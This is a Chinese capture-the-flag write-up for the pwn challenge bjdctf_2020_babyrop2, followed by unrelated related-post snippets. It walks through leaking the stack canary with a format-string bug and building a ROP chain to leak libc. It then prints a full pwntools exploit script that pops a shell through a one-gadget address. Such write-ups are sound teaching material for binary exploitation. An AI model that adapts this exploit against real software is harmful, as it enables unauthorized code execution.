bjdctf_2020_babyrop2
这道题是一道基本题,正因为它经典,所以需要重点记录一下。
这道题考察格式化字符串泄露canary,然后rop获得libc版本,之后拿到shell。拿到程序之后我们先检查一下保护。。。

开启了堆栈不可执行和canary保护。接下来ida看一下伪代码吧!

main函数中调用了三个函数,我们一个一个点进去看看,先看一下init()。

有点水文章了。。。第一和函数就是告诉我们说让门尽力泄露libc的版本。。。来,我们继续看第二个函数!

很明显有一个格式化字符串漏洞,并且format是由我们控制的,这里呢,我们先算一下这个格式化字符串的偏移吧。你看scanf那里,允许我们输入6个字节。。。那么我们就开始撞运气泄露偏移吧。。。

当我们输入泄露偏移为6处的地址时,找到6161也就是aa,那么说明格式化字符串的偏移就是6,这里我们就要泄露canary,canary是在rbp+8,那么我们只要算好偏移泄露就可以了。

这里的时候我们是输入了%6$p,看栈分布,说明我们只要输入%7$p,就把canary泄露出来了。我们直接运行程序看看。

输出的这个就是canary,%p就是以十六进制输出数据。
好,接下来我们看最后一个函数。

就是简单的栈溢出,构造rop链了。
接下来来看看payload怎么构造。
1 payload = p64(cancry)
2 payload = payload.rjust(0x20,'a')
3 payload += 'bbbbbbbb'
4 payload += p64(pop_rdi)
5 payload += p64(puts_got)
6 payload += p64(puts_plt)
7 payload += p64(ret_addr)
把rbp+8的位置放上canary,下来就是简单泄露libc版本,调用shell了。
贴一下完整的exp:
1 from pwn import *
2 import time
3
4 p = process('./bjdctf_2020_babyrop2')
5 elf = ELF('./bjdctf_2020_babyrop2')
6 context.log_level = 'debug'
7
8 p.recv()
9 payload = '%7$p'
10 p.sendline(payload)
11 p.recvuntil('0x')
12 cancry = int(p.recv(16),16)
13
14 puts_plt = 0x0400610
15 puts_got = elf.got['puts']
16 pop_rdi = 0x0400993
17 main_addr = elf.symbols['main']
18 ret_addr = 0x0400887
19
20 sleep(1)
21 payload = p64(cancry)
22 payload = payload.rjust(0x20,'a')
23 payload += 'bbbbbbbb'
24 payload += p64(pop_rdi)
25 payload += p64(puts_got)
26 payload += p64(puts_plt)
27 payload += p64(ret_addr)
28 p.recvuntil('story!\n')
29 p.sendline(payload)
30 puts_addr = u64(p.recv(6).ljust(8,'\x00'))
31 print hex(puts_addr)
32
33 base_addr = puts_addr - 0x06f690
34 shell_addr = base_addr + 0x45216
35 p.recvuntil('story!\n')
36 payload = p64(cancry)
37 payload = payload.rjust(0x20,'a')
38 payload += 'bbbbbbbb'
39 payload += p64(shell_addr)
40 p.sendline(payload)
41 p.interactive()
42 p.close()
bjdctf_2020_babyrop2的更多相关文章
- [BUUCTF]PWN——bjdctf_2020_babyrop2
bjdctf_2020_babyrop2 附件 步骤: 例行检查,64位程序,开启了NX和canary保护 2. 试运行一下程序,看看大概的情况 提示我们去泄露libc 3. 64位ida载入,从ma ...
- bjdctf_2020_babyrop2(没有成功拿到shell)
看到程序先例行检查一下 可以看到开启了canary和nx保护,需要注意的是这个acnary 将程序放入ida中shift+f12 没有关键性函数.我们进入main函数中 在main的gift程序里面我 ...
- [BUUCTF-Pwn]刷题记录1
[BUUCTF-Pwn]刷题记录1 力争从今天(2021.3.23)开始每日至少一道吧--在这里记录一些栈相关的题目. 最近更新(2021.5.8) 如果我的解题步骤中有不正确的理解或不恰当的表述,希 ...
随机推荐
- HashSet 如何保证元素不重复——hash码
HashSet 不重复主要add 方法实现,使用 add 方法找到是否存在元素,存在就不添加,不存在就添加.HashSet 主要是基于HashMap 实现的,HashMap 的key就是 HashSe ...
- appScan安全软件的使用
1.点击文件,新建 2.常规扫描 3.点击下一步 4.输入需要扫描的网站 5.下一步,如果有账号 密码可以使用记录. 6.选择缺省值,下一步 7.启动全面扫描.
- 如何在 Kubernetes 集群中玩转 Fluid + JuiceFS
作者简介: 吕冬冬,云知声超算平台架构师, 负责大规模分布式机器学习平台架构设计与功能研发,负责深度学习算法应用的优化与 AI 模型加速.研究领域包括高性能计算.分布式文件存储.分布式缓存等. 朱唯唯 ...
- Python技法1:变长和定长序列拆分
Python中的任何序列(可迭代的对象)都可以通过赋值操作进行拆分,包括但不限于元组.列表.字符串.文件.迭代器.生成器等. 元组拆分 元组拆分是最为常见的一种拆分,示例如下: p = (4, 5) ...
- YAOI Round #1 (Div.2) 题解
总体来说很有一定区分度的(主要分为 4 题.2 题.1 题几档),ACM 赛制也挺有意思的,征求一下大家对这场比赛的意见吧,可以在这个帖子下回复,我都会看的. 简要题解:( A. 云之彼端,约定的地方 ...
- C++面试基础篇(二)
1.数组与指针的区别 数组下标运算实际上都是通过指针进行的. 数组名代表着指向该数组中下标为0的元素的指针,但有例外:sizeof(数组名)返回整个数组的大小,而非指针大小:&数组名返回一个指 ...
- 🚀 RabbitMQ课程发布-KuangStudy
RabbitMQ课程上线(44集) 视频教程地址:https://www.kuangstudy.com/course/detail/1323452886432944129 专栏地址:https://w ...
- 到底什么是自动化优先思维?与RPA有什么关系?
基于RPA的自动化优先,正在成为广大组织的主流管理思维 到底什么是自动化优先思维?与RPA有什么关系? 如何用RPA简单快速的打造一个自动化优先的组织? 文/王吉伟 在IT运维项目中,组织经常会遇到先 ...
- 学习java 7.10
学习内容: List 集合:有序集合,用户可以精确控制列表中每个元素的插入位置 List 集合特点:有序:存储和取出的元素顺序一致 可重复:存储的元素可以重复 增强for循环:简化数组和 Collec ...
- 一次“不负责任”的 K8s 网络故障排查经验分享
作者 | 骆冰利 来源 | Erda 公众号 某天晚上,客户碰到了这样的问题:K8s 集群一直扩容失败,所有节点都无法正常加入集群.在经过多番折腾无解后,客户将问题反馈到我们这里,希望得到技术支持 ...